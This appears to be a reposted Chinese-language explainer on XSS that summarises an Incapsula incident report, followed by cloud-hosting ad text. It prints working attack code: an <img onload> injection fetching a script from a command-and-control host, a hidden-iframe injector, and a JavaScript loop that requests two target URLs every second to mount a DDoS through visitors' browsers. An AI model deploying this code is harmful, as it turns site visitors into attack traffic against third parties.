XSS又叫CSS (Cross Site Script) ,跨站指令碼攻擊。惡意攻擊者往Web頁面裡插入惡意html代碼，當使用者瀏覽該頁之時，嵌入其中Web裡面的html代碼會被執行，從而達到惡意攻擊使用者的特殊目的。
from:http://www.incapsula.com/blog/world-largest-site-xss-ddos-zombies.html
incapsula發現其一個客戶遭受了應用程式層的DDos攻擊。// JavaScript Injection in <img> tag enabled by Persistent XSS
<img src="/imagename.jpg" onload="$.getScript('http://c&cdomain.com/index.html')" />
// Malicious JavaScript opens hidden <iframe>
function ddos(url) {
$("body").append("<iframe id='ifr11323' style='display:none;' src='http://c&cdomain.com/index.html'></iframe>"); }
// Ajax DDoS tool in executes GET request every second
<html><body>
<h1>Iframe</h1>
<script>
ddos('http://www.target1.com/1.jpg', 'http://www.target2.com/1.jpg');
function ddos(url,url2){
window.setInterval(function (){
$.getScript(url);
$.getScript(url2);
},1000)
}
</script>
</body></html>
註：攻擊的效果就是每秒都請求一次url和url2指定的串連，如果一段視頻30分鐘，那麼每個使用者都能在看視頻這段時間內向兩個目標分別發出 1800 次無意義的攻擊請求（如cc），如果是成千上萬的人看個發燒影片的話。。。
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
